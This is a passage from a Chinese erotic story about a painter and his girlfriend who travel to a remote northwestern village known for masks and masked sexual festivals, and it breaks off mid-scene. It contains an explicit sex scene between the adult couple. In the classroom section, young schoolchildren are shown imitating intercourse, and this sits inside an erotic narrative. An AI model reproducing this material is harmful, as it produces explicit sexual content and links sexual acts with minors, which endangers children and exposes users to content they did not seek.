图片载入中

欲海花--小筠的面具(完)

特大字】 【大字】 【中字】 【小字

(上)

沙土,戈壁,燥热的空气在孤寂的公路上升腾,我口干舌燥地开着车,在这西北的旷野上奔驰者。

踩着油门,不用顾忌任何的交通法规,我很享受着这一刻的肆无忌惮的放肆,然而平时住在湿润地区的我,还是不太适应这西北地的干燥。

一根吸管塞到了我的嘴边,我立即含住吸管,就像是婴儿吸奶般地勐嘬了几口,甘甜的饮料让我心中的燥热舒缓了许多。

我侧过头,看了看坐在旁边的小筠,微微笑了笑。

早上出门的时候本想出门后再加油,结果没想到地图上的两个加油站都因为这样那样的原因关着门,无奈之下,我们只能硬着头皮往前开。

好在经过计算,汽油还能撑到下一个有人居住的小镇,但为了节省汽油,我们还是没有开空调。

西北的气候就是这么大的温差,早上出门的时候还有阵阵寒意,此时却十分地炎热了。

小筠早已经脱去了外套,只是穿着一件白色的衬衫,一只手拿着递给我的饮料,另外一只手拿着在前面的市集上买的黑色面具饶有兴致地把玩着。

我是前年在一次画展上认识的小筠,她是一个漂亮的女孩。

当我看到她的第一眼,就被她可人的短发造型和出众的身材吸引了。

当时她对我画的一副叫《面具》的作很感兴趣,而我也得以借机和她接近。

短暂的聊天后,我才体会到,并不想打扮那样落落大方,反而心中充满了一些难以言语的冷漠和文静。

不过在我们这行,这样的文艺青年是很常见的,所以也没有觉得别扭。

在那之后,我开始对小筠展开的疯狂的追求,历经了两个多月的努力,终于和小筠发展成了情侣。

小筠喜欢旅游,尤其是喜欢去一些人迹罕至的地方,而这也正是我所喜欢的。

今年,在不断努力下,我的画作有了不错的销路,也得到了一笔不绯的收入,等忙过之后,我用这笔钱买了心仪已久的汽车,加上小筠正好也有假期。

和小筠一起踏上了期待已久的西北隔壁自驾之旅。

小筠拿着我喝了一半的饮料,咕嘟咕嘟地一饮而尽。

看着她也燥热不适的样子,我安慰道:“还有三十多公里就到了喀拉塔了。”

小筠点了点头,说了句没事,然后继续把玩着手上的面具。

“有那么喜欢么?”

我笑着问道。

小筠说道:“啊,只是很少见到这种纯原生态的面具。从质地到用漆,虽然粗糙,却很有特点。”

“是啊,这里的面具用的是当地的一种柳木做的,手工凋刻后再刷一些植物中提取的漆,最后再用一些熏烤的方式上光。这种特殊的手法在当地已经延续了几百年了。”

由于炎热,小筠将衬衫上面的一颗扣子解开,而从我的角度看去,正好隐隐约约看见一点点她高耸的胸部,不由得喉头一热。

小筠的身材确实是难得一见的出色,虽然在女性中,她的骨骼显得略为粗大,使得她整个人看上去比一半的女孩子更加“强壮”,但凸凹有致的曲线和几乎完美的比例,却让她看上去更多了一份成熟女性才有的英气和魅力。

看着衬衫下的若隐若现的一点雪腻,我情不自禁地伸出收去,想从小筠的衣领处伸进去,抚摸一下美好的乳房。

然而当手伸到一半的时候,我的企图却被小筠发现了。

“啪”她在我的手上轻轻拍了一下,有些娇嗔般地说道:“好好开你的车。”

然而这样的动作,却反而将我的欲火进一步的点燃,想着她浑身赤裸地躺在我身下的样子,那充满弹性的双唇,乳房和臀部,我胯下就立即变得坚挺无比,正在犹豫要不要停下车,在这个无人的旷野里跟她来一场“野战”的时候,小筠的话却响起了。

“快看,那是不是有个加油站?”

我的欲火立消,顺着小筠手指的方向看去。

果然是有个“加油站”,之所以用引号,是因为这个加油站实在是简陋,车开近了点一看后。

这个所谓的加油站只有一件矮小的平房,一个破旧的“中国石油”

的牌子,和一辆被沙尘盖满的油罐车和一辆看上去同样老旧的房车。

这个“加油站”,让我想起电影无人区中间的那个黑油站,唯一不同的是,这个加油站稍微还是要看上去稍微更像人住的。

我把车开到了平房旁边,按了两下喇叭,等了一会儿,却并没有见人出来。

于是只好下车去看看。

加油站平房的门是那种老式的对开木门,没有上锁,只是虚掩着。

我推开屋门,里面是一个小卖店,老旧的木架上放着一些酒水和食物,前面是一个柜台和面向柜台放着的几把凳子,倒是颇有点美国西部中的小酒馆的感觉。

平房的内门是上了锁的,显然并没有人在里面。

我有些失望地从房中出来,将事情告诉了车里的小筠。

小筠听了,嘴巴一噘,眼神望向了不远处的那辆房车。

我立即点了点头,走向了房车。

这个房车可不是那种豪华舒适的房车,更像是一个集装箱上开了两个窗子,独立停在风沙肆掠郊外。

透过风声,我隐隐听到了一阵女人的声音,没准房车里真有人,我急忙加快了脚步。

声音越来越清晰,直到我醒悟过来,这是女人叫床的声音,声音真实而充满了欲情,显然并不像是通过音响放出来的,定然是有人正在里面‘激战’着。

我哑然失笑,难道真还像无人区电影里演的那样,在这个破旧的加油站里,正在进行着那种廉价的色情交易?本来刚刚被压下的欲火,一下子又被这声音点燃,想到这里,只好无奈地摇了摇头。

我本不想打扰这车中之人的好事,就要回到车上等待,却在转身的时候,脚上被一根放在地上的钢筋绊了一下,一个踉跄下,却将旁边放着的一摞乱七八糟的铁桶什么的撞到了。

一阵稀里哗啦的声音,也惊动了房车里面的人。

“谁啊?”

一个带着有一些少数名族口音的女人声音从车里传了出来。

“啊,不好意思,我是过路的”

我有些尴尬地从地上爬了起来,继续说道:“请问现在可以加油吗?”

就在这时,见到我摔倒的小筠也来到了我的身边。

“没事吧?”

小筠一边说着一边帮我拍去身上的尘土。

我摇了摇头,而车里的女人的声音又传来了。

“等一下,把车子开到罐车旁边等着。”

“车里的人在干吗?”

不明就里的小筠问道。

我却哈哈一笑,并没有回答。

而是拉着她回到车里。

将车停在了罐车的油管边上。

不一会儿,一个年轻的女人就从车里走了出来,显然因为我们的到来破坏了她的好事,她脸上写着一脸的不乐意,衣服也因为匆忙,有些凌乱地穿在身上。

这是一个少数名族的女人,看上去最多也就是三十岁的样子。

身材长得丰胸肥臀,五官却还算有些标志,只是脸上还是有些不高兴的样子。

“这女人怎么了?”

小筠小声地问我。

我笑着对她说:“你从她的衣服和有些乱的头发没看出来么,我们坏了人家的好事。”

小筠打量了女人两眼,这才意识到我所说的好事是什么,俏脸一红,白了我一眼。

女人来到我们的车边,说道:“只有93号油,十块钱一升。”

价格倒是出乎我意料的低,我点了点头,说道:“加满。”

就在女人忙碌的时候,房车上走下了一个男人。

从身形看,倒是十分挺拔,这种个头的少数民族男人还是十分少见的。

而等男人走近之后,他的相貌连我都啧啧称奇。

这个男人的长相更像是一个汉族人,只有微微泛着棕色的眼睛和微微卷曲的头发让人觉得他身上有当地的血统。

毫无疑问,他的长相在当地来说觉得算得上是大帅哥的级别。

虽然皮肤有些粗糙,但却看上去十分干净,让我这个从远方大城市来的人有了一点更亲近的感觉。

他穿着一件黑色的背心和一条牛仔裤,露出两条粗壮而肌肉发达的胳膊。

而衣服穿着像他这样干净得体的,也是在当地少见的。

我看了小筠一眼,发现小筠也看着这个男人,直到感知到我的眼神后才急忙把视线转到了一边。

“你好,”

男人主动打了招唿,没想到他的普通话还挺标准,没有什么口音。

“你好。”

我也点了点头。

“你们是从哪里来?”

“无锡。”

“哦?无锡,离这里很远,以前我去过一次。”

男人的声音有些兴奋,说话的时候带着少数民族才有的淳朴和热情:“我是前年的时候去的无锡,还在那里呆了接近一个月的样子。”

我点了点头,问道:“你是本地人吗?”

男人摇了摇头说道:“不不,我住在木斯,最近没有事,所以就出来到处转转。”

“啊,我们正是要去木斯。”

“哦?你们要去木斯?”

“嗯,”

一旁的小筠插嘴说:“我们要去木斯的一所小学。”

我们此行的目的,除了旅游之外,还有一个计划,就是去一个叫木斯的小镇给那儿的一所希望小学讲绘画课。

我是出发之前就和他们的学校取得联系的,本来只想捐赠一些书物,但校方得知了我的职业后却说,当地由于过于偏僻,一直没有足够的教师资源,希望我能够给孩子讲几节美术课,我当即就应允了,打算和小筠在木斯多停留几天。

“啊,我知道了,你们就是要来给孩子讲画画的老师。”

男人的语气一下子更加热情了,伸手在我肩膀上拍了两拍,我知道,这在当地人的习俗里是表示友好的,所以也拍了两下他的肩膀。

“你知道我们的事?”

小筠问道。

“嗯,因为木斯本来就不大,所有的事情每个人都知道。”

男人说着,突然拍了一下自己说道:“啊,瞧我,都忘了自我介绍了,我叫艾昆,你们叫我阿昆好了。”

“艾昆?这时个汉族的名字。”

我问道。

“是的,我父亲是汉族人,母亲是本地人。”

我点了点头,这也印证了为什么他和本地人的长相还是有些不同的原因。

阿昆继续说道:“我住在木斯,平时也有时会去学校代课。教孩子们写一些汉字。最近农忙,孩子们都回家帮忙了,我就出来转转。过两天,我们还会在木斯再见的。到时候我带你参加我们的求雨祭。”

就在这时,女人已经把油加满了。

也许是阿昆的关系,她对我们的态度也有所改变。

“你们现在是要直接去木斯吗?这里到木斯还有接近五十公里。”

阿昆问道。

“啊不,我们要先去一下喀拉塔,去找一个叫纳江的人,他是我们这段时间的向导。”

“啊,纳江大叔啊,”

阿昆说道:“那个个很有趣的大叔,而且他虽然没有上过学,却是这一代见识最广的老人,在当地也很有威望。”

车上的油已经加满了,阿昆本来说要送我们一些饮水和食物,被我婉拒了。

我向他问明了纳江住处的具体情况后就上路了。

“小筠,你觉得这里的人怎么样?”

小筠望着车外,有些出神,过了一会儿才回过神来说道:“啊,挺好的啊,这里的人都很简单的。”

语气中,似乎有些恍惚。

从加油站开出来,距离喀拉塔只有不到二十公里的路程了,十几分钟后,我们的车就来到了一个到路边的小镇上。

这个小镇身处戈壁之中,被一片很大的沙柳林包围。

虽说小镇看上去也就两三条街道,但在这西北荒漠上,也算是一个很大的地方了。

我按照阿昆所说的,开车来到了中间那条街的一个拐角处的圆顶房屋前,才拿出手机拨通了纳江的电话号码。

过了一会儿,一个身穿蓝灰条纹,带着一顶白色帽子的老者从屋子里走了出来,见到衣着特别的我们,立即笑着迎了上来。

“你们是王适和姚筠吧?”

“是的。”

“欢迎你们的到来,我尊贵的客人,我就是纳江”

说着就像我们行了个礼。

我们急忙还礼,我打量了这个纳江几眼,矮矮的身材,拉渣的胡须,但一双眼睛显得十分深邃。

纳江招唿着我们进屋,偌大的房屋中,并没有太多的家具,更多的是坐垫和中间的一张张小型的桌子。

倒是墙上的一排面具吸引住了小筠的注意力。

“哦?看来姚小姐喜欢这些面具?”

“是的,”

小筠答道。

“难怪你们会来木斯,木斯可是有很多很有特色的面具民俗的。”

我点了点头道:“这也是我们来木斯的原因,纳江大叔,我们什么时候出发?”

“不着急,”

纳江看了看衣袋中的手表:“这里到木斯还有六十公里,虽然距离不远,但后半段都是难走的山路,两位还是休息一下在走吧。”

说着,一个中年的妇女就从外面端着一大盘子的水果走了进来。

吃过水果休息了一会儿,纳江说出去找人,约摸过了十来分钟后才回来招唿我们上路。

走出屋子的时候,我们的车前面停了一辆小型的卡车,两个约摸二十岁刚出头的当地小伙站在了车前。

纳江说这两个小伙是卡里木和卡里提,我们去木斯的路况不好,正好他们两兄弟要去送货,就一起上路,也可以有个照应。

“离开了喀拉塔后,果然路越来越难走,约摸二十公里后,我们已经身处大山之中了。山路没有想象中那样蜿蜒,但路面却不再是水泥路面,而变成了十分颠簸的碎石路面。我专注地开着车,并没有太多注意周围的变化,好在有本地人在前面引路,所以也不觉得太难走。”这里的山上树木都好少。“

挪到后排小筠说道。

“是啊,西北地区缺水,加上风沙也大,所以这里的山上只有野草,很少有树木。和你们内地不同,这里的山上也很少能住人,因为没有水,风也大。”

我身边的纳江说道。

“喀拉塔其实以前很少住人的,这几年因为北边有了大油田,所以人才慢慢多了起来。”

“那木斯呢?既然这么不方便,那为什么人没有搬走呢。”

“不不,木斯其实不一样,那里可是这里的风水宝地,水比起外面戈壁要充足得多,土地的产量也不错。”

“哦?”

我有点好奇,既然自然条件在这附近最好的,那为什么会如此的贫瘠。

纳江似乎猜到了我的好奇,说道:“两位远道而来,还不太了解木斯的情况吧。其实木斯住的,大多不是本地人,他们是天山南边的一个部族的分支。大概是三十多年前吧,山南地震,他们就搬了过来。由于山南和山北的人在习惯和性格上差异很大,加上木斯人在山南就一直很神秘,因此搬过来后他们就住进了没人的大山里去。”

“一开始,听说木斯的日子过得很苦,山上长不出植物,只能靠政府的救济粮过日子,没想到他们在那里住了一段时间后,山上的环境开始变了。我第一次去木斯的时候是十几年前吧,他们已经基本上可以自己养活自己了。然而你知道的,在我们这种地方,老师是很少的,支教的老师也不愿意来,偶尔会有老师来支教,也都呆不久。最长的一个老师也就一年多的时间吧,所以这次你们能来,哪怕是短暂的停留,木斯人还是很高兴。”

我有点不好意思,其实我们只是顺道讲两天课而已。

“那木斯人一般靠什么营生呢?”

小筠在后面说道。

“那就多了,除了种地,他们也做陶器,也做一些其他的手工品,当然最主要是做一些面具。不过他们很少用面具出来大量买卖,只是有时候拿来换一点日用品,更多的是他们自己的一些部族活动。”

说道这里,纳江突然转过头来,似有深意地看着我们说:“两位是恋人,也是成年人了,如果有机会的话,可以参观一下当地的一些部族活动,绝对会有别样的感受,只是如果之前没接触过他们的话,可能会觉得有一点尴尬。”

听了纳江的话,我也没太在意,少数民族民风开放,男女情爱往往更加热情,所谓尴尬的活动,估计也是一些青年男女互相表达爱意的居多吧。

道路的确很难走,车速都不能超过30公里,特别是好几处险要的地方,只有一条独路,倘若要会车,还非得一边一边走。

短短三十来公里的山路,竟然走了一个半小时。

转过一个山坳,木斯出现在了眼前。

这里的确和外面的世界不同,真有几分世外桃源的意思。

虽然看上去还是有些荒凉,但毕竟还是有很多绿色的植被了。

这里的房屋大多是那种用山上的页岩和泥土建造的,所以都是很小的平房,但粗粗一估计,这里也有至少上百户人家了。

我们和带路的两兄弟分别后,纳江径直带着我们来到一处山坳,开进了一个砖头构建的院子里。

“这里是木斯仅有的招待所,虽然不大,但条件已经是这里最好的了,两位请将就一下吧。”

其实这里已经超出我的预期了,房屋显然是新盖的,并没有想象中那么破旧。

我和小筠的住屋在正中间,房中已经为我们准备好了各种基本的生活物品。

纳江对我们说道:“两位请先休息一会儿,我们在后院的浴室为两位准备了热水,不过请理解下,这里的热水只能够两位洗二十分钟。稍晚的时候,我们为两位准备了欢迎晚宴,到时候我再来请两位。”

我们对纳江的热情十分的感激,要知道在这种地方,水是很宝贵的,要想洗澡并不太容易。

纳江走后,小筠打开箱子开始整理东西,而我则无聊地看了看周围。

“诶,宝贝儿,你说,这里的人为什么这么喜欢面具呢。”

我望着小筠一边忙碌一边说道:“不知道,不过我听说,在西北很多地方,面具是用来祭祀的。”

而这时,墙上的一个款式很特别的面具吸引了小筠的注意。

这是一个棕色的面具,款式比较小巧,显然是一个女性使用的面具。

在面具的周围,有一圈精致的白色羽毛的装饰,和棕色的面具形成了强烈的视觉冲击。

小筠显然很喜欢这个面具,情不自禁地把它从墙上取了下来,拿在手里仔细看了好久,然后又放在自己脸上转过头来对我说:“怎么样,好看吗?”

没想到这个面具如此适合小筠,彷佛为他量身定做的一般。

尤其是这个面具下颚是去掉的,露出了小筠的嘴唇和下巴,而这正好是她脸上最精致的部分。

“这是白老师的东西,”

我正想夸她几句,却从门外传来一个小女孩的声音。

我循声望过去,之间一个约摸十岁左右的小姑娘出现在了门口。

小姑娘看上去很机灵的样子,眼睛大大的,但穿着却很简单,也有点破旧,手上却拿着一个小布娃娃。

“白老师是谁呀?”

小筠拿下面具,笑嘻嘻地蹲下身子去,抚摸这小女孩的脸说道。

“白老师就是白老师呀,她是以前我的老师,可是后来不见了。她还送我了一个娃娃呢。”

“不见了?”

小筠有些好奇地问道。

“听大人说,她是去天山那边了。”

就在我们有点莫名其妙的时候,又一个声音在门外响起。

“拉雅,你怎么在这里。”

说话的是一个约摸三十多岁的女人,穿着地道的当地服装,脸上也带着笑容。

然而拉雅看到她,却扭头就跑了。

“这孩子”

女人有些尴尬地笑了笑。

转过头来对我们说:“你们是新来的客人吧,我叫旺姆,就住在这隔壁,你们要是有生活上的需要可以来找我。”

我到了声谢,问道:“刚才拉雅说的白老师是谁啊?”

“哦,”

旺姆说道:“白老师叫白露,她是这里上一个来支教的老师,约摸和这位小姐一样的年龄吧。她人很好,尤其是对拉雅很好,所以这里的人都很喜欢她。可是后来突然听说生病了,让人接走了,而不久之后就听说她因为病重死了。这已经是两年前的事情了,由于当时拉雅还小,我们就告诉她,白老师去天山了。而那以后,也许是因为白老师的原因吧,就再也没有老师愿意来支教了。”

“哦,”

我点了点头,而一旁的小筠显得若有所思。

旺姆走后,小筠从包里拿出洗漱用品,递到我手上:“去洗澡吧。”

我笑了笑,一把抱住小筠说道:“一起洗吧。”

小筠一推:“别闹,等会儿还要出去,而且这里水不多,你洗快一点。”

说着,就把我推向了后院的浴室。

我三下五除二洗完后,便躺在床上发着呆。

约摸等了接近一个小时,纳江接我们来到了木斯中央的一个坝子上。

天已经开始黑了,大家只能依靠手电筒走路。

和想象中的场景并不太一样,随然这里也有篝火,但大家并没有围着火堆烤着食物,而是在另外一边的坝子上,摆着一张张的地毯,每个地毯上都放着一份食物和瓜果。

见到我们来后,所有的人都站了起来。

为首的一个和纳江差不多年纪显然是他们的领袖,先迎了上来。

“欢迎你们,尊贵的客人们,我是这里的族长,我叫乌斯曼。”

然后又给我介绍了几个族里备份高的老人,但我一个都没有记住,只记得所有人都和热情地向我们行礼,我们急忙还礼。

一段热情的欢迎后,大家开始坐在各自的地毯上享用起美食来。

除了食物和瓜果,每人面前还有一大杯的羊奶酒。

其实我平时几乎不喝酒的的,但一方面是因为好奇,一方面是因为旅途的疲乏,所以还是端起酒杯喝了一口。

酒刚觉得入口只颇为香甜,于是便没有控制自己,没想到不一会儿尽然头晕起来。

而这时,周围的人群已经热闹起来,有些吃完食物的青年男女,已经开始迫不及待地在火堆旁边开始跳舞了。

这时我看了看身边的小筠,她也在酒精的作用下满脸绯红了。

她招着手要我坐在旁边,然后一口靠在我的肩膀上。

“这酒后劲好大。”

“是啊,少喝一点吧。”

而这时,小筠突然噘嘴指了指跳舞的人群说:“你看”。

顺着小筠的方向,我才仔细发现那些跳舞的男女,竟然都是戴着当地特制的面具。

“咦,这里跳舞都是戴着面具的?”

我有点意外。

“是的,”

这时纳江端着酒杯来到我旁边坐下说道:“想知道为什么吗?”

我点了点头。

“其实面具对木斯人意味着很多,以前木斯人在作战和打猎的时候都会戴面具,据说可以带来好运,而更重要的是,面具还有另外一个作用。”

“哦?”

“木斯人以前住在山南,山南的人十分好斗,在以前经常有那种大规模的战斗。在木斯,无论是男人还是女人,在以前都要参加战斗,而战斗自然就会带来人口的减少。而在很早以前,木斯人是不能和外族通婚的,所以生育率在战斗后就会锐减,所以在当时,不同夫妻是允许交叉生子的。”

“啊…”

小筠有点惊讶。

“是的,这也是没办法的事,那时候,木斯人在战斗之后,就会举行这样的集会,在集会上,大家都会戴上面具,然后一起跳舞,遇到合适的人,就会邀请到一起去交合。由于戴着面具,大家没有了尴尬,事后也不用去计较谁的孩子是谁的,木斯的每一个孩子从小开始都是大家相互照顾的。而这样,生育率也就有了保证。”

“真是一个奇怪的习俗啊。”

纳江笑了笑,“所以面具在木斯,更多的是代表一种性的解放。到了如今,虽然没有了战争,但木斯人还是延续了这样的集会。集会上,所有人的都戴上面具,尽情的跳舞。而在集会上,如果男女双方真的发生了感情,那就可以离开去做他们想做的事,即使这个事后,他们各自已经有家庭,家里的其他成员也不能干涉的。只是这些年,随着外面的文化越来越多地传进来,这种聚会也慢慢变成了单纯的舞会,几乎没有男女之间的事情发生了。”

而这时,火堆旁边的男女的舞姿,已经越来越热烈,充满了各种男女之间的挑逗和暧昧的姿势。

男女相对而立,不断用身体摩擦着对方的身体,甚至是胸部和臀部也不放过。

这样的舞姿让旁观的小筠面红耳赤,我却哈哈一笑,拍了拍她的肩膀。

但其实这样的舞姿也让我冲动,胯下又一次起了反应。

这时,纳江笑着说道:“两位有兴趣的话,可以去和他们一起共舞,请放心,你们没有戴面具,也没有穿本地的衣服,所以没有人会接触你们的。”

我微笑着拒绝了纳江的建议,只是和他有一句没一句地聊着当地的习俗。

偶尔会有一些当地人过来敬酒,我也只是抿一点表示一下。

倒是小筠的美貌成为了很多青年男子侧目的对象,其实对于这种事情我早已经习惯了,所以也没有去理会。

“你说,他们这样的行为,不会只是为了自己的纵欲找的一个借口吗?”

小筠突然向我问道。

我一时难以回答,因为在我们的世界观里,这种行为确实确实算得上是纵欲。

其实我知道,在我们汉族人的古代时期,程朱理学成为主流的社会思想之前,民风也是十分的开放。

而从宋朝开始,道德对于男女的性行为的约束越来越强,所以这样的举动在汉人的世界越来越少。

“某种意义上,如果以汉族人的思维来想,这确实算得上是纵欲。”

纳江说道:“木斯人从来不隐藏自己对性的崇拜。在古时候,这里如果出现极端的天气情况,比如干旱或者风暴的时候,大家就会在山寨里选出一对青年男女,让他们在祭坛进行交合,他们相信,这样对自然的坦然,这种原始的行为,会得到上天的眷顾。”

纳江的确是个有趣的老人,一般的老人,即使是汉族很多阅历丰富的老人,都对性没有如此的见解。

一方面是因为长期以来对性的压抑甚至误解,另外一方面,也是因为价值观取向的问题。

由于初来乍到,我们一时还难以融入当地人的环境,于是坐了接近一个小时后,当人群开始逐渐有人散去的时候,我们也借故告辞回去了。

西北的夜晚,气温下降的很快,当我们回到住屋的时候,已经有一阵阵的凉意了。

新来的第一个夜晚,一切都充满了新鲜感,我一直在床上翻来覆去睡不着,直到收拾停当的小筠在我身边躺下。

抱着她美妙的身体,几次被唤醒,而又几次被压抑的情欲终于在酒精的作用下完全释放,很快,小筠身上单薄的睡衣就被我扔到了一边,热吻开始在她身上的每一寸的肌肤上漫游着。

当我早已肿胀的阴茎抵在小筠的秘洞口的时候,小筠的私处早已经是湿润无比了。

我扶着阴茎轻轻地在洞口碾磨了几下,然后轻松地进入了小筠的身体。

“啊……”

一阵轻轻的呻吟从小筠的喉头发出来。

虽然已经经过我多次的开发,小筠的肉壁还是充满弹性,让人欲罢不能地扭动着身体。

一天的开车和奔波让我的体力几乎消耗殆尽,一阵抽插之后,只觉得腰和腿异常的疲惫。

于是我深吸了一口气,正想鼓起余勇动作的时候,细腻的小筠似乎发现了这一点,在我肩膀上轻轻一推说道:“让我来吧。”

我立即高兴地躺下,让小筠赤裸地跨坐在我的身上,体力充沛的小筠此时就像脱缰的野马一样在我身上不断扭动着。

她的动作越来越快,唿吸也越来越沉重,胸前丰满的乳房就像两只小白兔一样疯狂地蹦跳着,让我不由自主地伸出双手把玩着,一边尽量扭动身体配合小筠的动作,一边听着她充满了情欲的呻吟。

迷煳间,只觉得精关一松,我就这样在她身体里爆发了。

而这时,小筠也听了下来,趴在我身上喘着粗气,过了好一会儿才慢慢从我身上爬下来,温柔地递给我了一包纸巾。

我取下了装满精液的安全套,小心地用纸巾包起来,又相互清理了身体。

高潮退去之后,我满意地抱着小筠躺在床上。

“老公。”

“嗯?”

“你觉得这里怎么样。”

“挺好的啊,这里很多东西,彷佛与世隔绝一般,如果是山清水秀的地方,真有点世外桃源的意思。而这里呢,充满了更多的原始的野性。”

“嗯,这里更多野性的欲望。”

小筠呢喃着,躺在我的怀里慢慢睡去。

第二天早上,纳江就来找我们,在他的带领下,我们开车来到了不远处的山寨的小学校。

小学校并不算破陋,这倒看得出当地人对孩子的教育还是尽量重视的。

听纳江说,没有老师的这段时间里,基本就是山寨几个懂汉语和文字的人教当地的小孩子写字和算术。

最近农忙,很多孩子都回家去帮忙去了,所以学校也放假了。

只是因为我们的到来,所以孩子们才从新走进学校。

走进教室,我却不由得皱了皱眉头,教师内虽然重新打扫过,但实在是过于简陋,孩子没有课桌,只有一些简单的凳子或者木板当桌子,而黑板也坏了一半了。

教室里一共有十来个小孩,年龄从几岁到十一、二岁不等,昨天我们见过的拉雅也在里面。

我和小筠从车里拿出了我们带来的本子和彩色蜡笔分给了孩子们,孩子们也异常的兴奋。

其实我以前从没给小孩子上过课,所以一时也不知道如何把握好尺度,于是只好先简单地自我介绍后,就开始教小孩子们画他们常吃的水果。

好在孩子们都很兴奋,所以时间也过得很快。

我上课的时候,小筠一直坐在教室门边,有时听着我讲课,有时和我一起指导下孩子,等到约摸一个小时候,小筠暗示了一下。

于是我清了清嗓子说:“同学们,我们先休息一下,十分钟后我们继续上课。”

当我们再次走进教室的时候,发生的一幕却让我们又是傻眼,又是哭笑不得。

拉雅正躺在一块木板上,而一个和她差不多大的小男孩正趴在他身上,扭动着身子,做着男女做爱的动作。

而所有的其他的孩子,却围成一圈,笑着叽叽咋咋地议论着。

“你、你们在干嘛…”

我有一点略带严肃地问道。

听到我的声音,那个小男孩急忙从拉雅的身上爬了起来,拍了拍身上土,傻傻地笑着。

小筠正想发怒,却发现拉雅也咯咯咯地笑着,所有的孩子也笑着,充满了天真和单纯。

显然,他们并不太了解这些动作的含义。

“你们在做什么”

小筠也问道。

那个小男孩和其他几个小孩争先恐后地说道:“听爸爸说,这样就可以生小孩子啦。”

这答桉让我哭笑不得,拍了那个小男孩的脑袋一下说,“这事你还小,还要等上十几年的时间再说。”

而这时,小筠在我身边拉了拉我的衣袖,小声地说道:“我带拉雅出去转转吧,也跟她说说,不要这样和男生玩。”

虽然深知当地民风开放,但毕竟我也是汉族人的思维,于是点了点头。

小筠拉着拉雅,在拉雅耳边说了几句,然后就带着拉雅离开了教室,而我,则继续开始下一堂课。

这节课我没有教小孩子们画画,而是拿出了很多我自己的照片,给他们讲外面的世界。

孩子们听得很认真,而短短的一个小时又很快的过去了。

而小筠和拉雅差不多是在下课的时候才回来的,显然他们聊得很投机,两人的关系近亲了不少。

“你给她说了什么?”

我笑着问道。

“切,女人间的对话,男人打听什么。”

小筠笑道。

而这时,笑声同时也在门外响起:“怎么样,第一天的课还顺利吗?”

纳江从门外走了进来,还有另外一个年轻的男人,竟然就是昨天我们在加油站见到的艾昆。

“阿昆,你也来啦。”

“是啊,我昨天只是在加油站帮忙,忙完了后就过来看看。”

此时的艾昆也换上了一身当地青年男子的衣服,显得更加精神。

而孩子们显然也都认识艾昆,甚至和他很熟,围着他不断地打闹着。

艾昆一把拽住一个想要往他身上跳的小孩,笑着对我们说:“有时我也会来这里教孩子们一些汉语课,所以他们和我一直是好朋友。”

由于只有两个人,所以每天我们只能给孩子讲半天的课,下午孩子还要回家帮忙。

而我们在纳江和艾昆的邀请下,打算去周围的一些山上爬山玩。

“对了,纳江大叔,我和你问一个事。”

突然想起昨天拉雅说起的白老师,我一边吃着手抓饭和洋芋擦擦,一边好奇地问道。

“之前的白老师,是怎么回事啊?”

“哦?”

两人的表情立即严肃到,“你们是怎么知道她的。”

“我们是昨天听旺姆讲的,”

小筠抢过话头,她似乎并不愿意告诉他们是拉雅最先将这个事告诉我们的。

气氛一下子凝重了起来,大家都不说话了。

我见状,只好笑着说道:“我们也就是好奇随便问问,没事的,我们吃饭吧。”

而纳江却叹了叹气,放下了手中的食物,看了看表情更加复杂的艾昆,说道:“艾昆兄弟,能说吗?”

艾昆点了点头。

纳江看着我们,慢慢说道:“其实,白鹭老师不是病死的,而是死于诅咒。”

“诅咒?”

小筠有些紧张。

纳江点了点头,说道:“一个关于恶魔的诅咒,传说在木斯族很早以前,有一个漂亮的女子,她嫁给了一个外来的男子。这个男子为了他,舍弃了很多东西,甚至在战斗中失去了生育功能。然而在战斗之后的聚会上,这个女子还是经不住别的男子的诱惑,和其他男人发生了关系并怀孕。虽然他的丈夫一开始知道这时当地的一个习俗,也并没有太在意,但当孩子真正降生的那个晚上,男子还是精神失控,把女子杀害了,不光杀了,还用红色的蜡在她身上画满了图腾。而在这之后,族人们抓住了那个男子,按照组里的刑法,把他烧死了。”

“啊…”

一直听说这样原始的部族有很多奇怪而诡异的习俗,没想到木斯族竟然如此诡异。

小筠有些紧张,抓着我的隔壁的手紧了紧。

纳江没有停下,继续说道:“在那个男子临死的时候,曾经发出过一个诅咒,说他一定会来向爱上本地男人的男子和女孩索命,让村里的男人再也接触不到外面的女性。”

“所以后来白老师爱上了一个本地的男人?”

“是的,他爱上的就是有四分之一本地血统的艾昆。”

这句话让我和小筠都大吃一惊,而艾昆的表情中,充满了伤心和难过。

“对不起,我不该问这个。”

我道歉到。

艾昆摇了摇头,说道:“没事,事过境迁这么久了。”

虽然如此说道,但每个人都能从他的表情中感觉到艾昆的痛苦。

我见状,只好转移话题:“下午我们去哪儿呢?”

纳江说道:“如果两位有兴趣,我带你们去山上转转吧,可以俯瞰整个寨子,运气好的话还可以打几只飞禽回来吃。”

一听说打猎,我们立即来了兴致。

饭后,纳江找当地老乡借了两把打铅弹的猎枪,和我们上山了。

一路上,我们一边聊天,一边看风景,倒还惬意,这种感觉,让我找到了一些小说中以前那些知青上山下乡的感觉。

路上是不是有一些我也说不出名字的雀鸟飞出,我也尝试打了几枪,却全部落空,只好尴尬地把枪递给了艾昆。

艾昆和纳江倒是一把好手,很少落空,不一会儿已经打了十几只雀鸟了。

“就打这么多吧,尝尝味道,打太多了也不好,”

艾昆说倒。

而这时,突然传来了一阵悉悉索索的声音,上山掉下来了几块小石子。

其实这样的石子掉落是很常见的,但小筠在惊吓之下突然脚下一滑,一下没站住,摔在了地上,由于坡度很斜,竟然开始往坡下滚去。

就在这时,离他最近的艾昆突然一个箭步,伸出双手抱住了小筠的身子,阻止了小筠下滑之势。

一切都发生在电光火石之间,让我也有点懵了。

等小筠站了起来,我才急忙走过去,一边帮她检查伤口,一边关切地问着。

“没事,”

小筠一边说着,却一边捂着了手腕:“手腕擦伤了一点。”

随即,又向旁边的艾昆点了点头,温柔地说了声:“谢谢”。

我也急忙连声向艾昆道谢。

艾昆却摆了摆手说道:“没事,这里的山风化太严重,掉石子是正常的,不过我们还是下山去吧,清理一下伤口。”

我点了点头。

在下山的时候,我突然发现我们就在不远处的一个拐角处有一条小道,那条小道显然已经荒芜,长满了杂草。

不是仔细留意,还不容易发现这条小路的存在。

“咦?这条小路是什么地方?”

小筠问道。

纳江看了看说:“这里是通向一个当地很老的祭坛,不过已经很多年没有用了,也没人去那里。”

虽然对那个地方十分好奇,但眼下替小筠清理伤口显然更加重要。

“这里有医生吗?”

我像艾昆问道。

艾昆却有些不好意思地笑了笑。

纳江在一旁说道:“阿昆是这里最好的医生。”

“哦?”

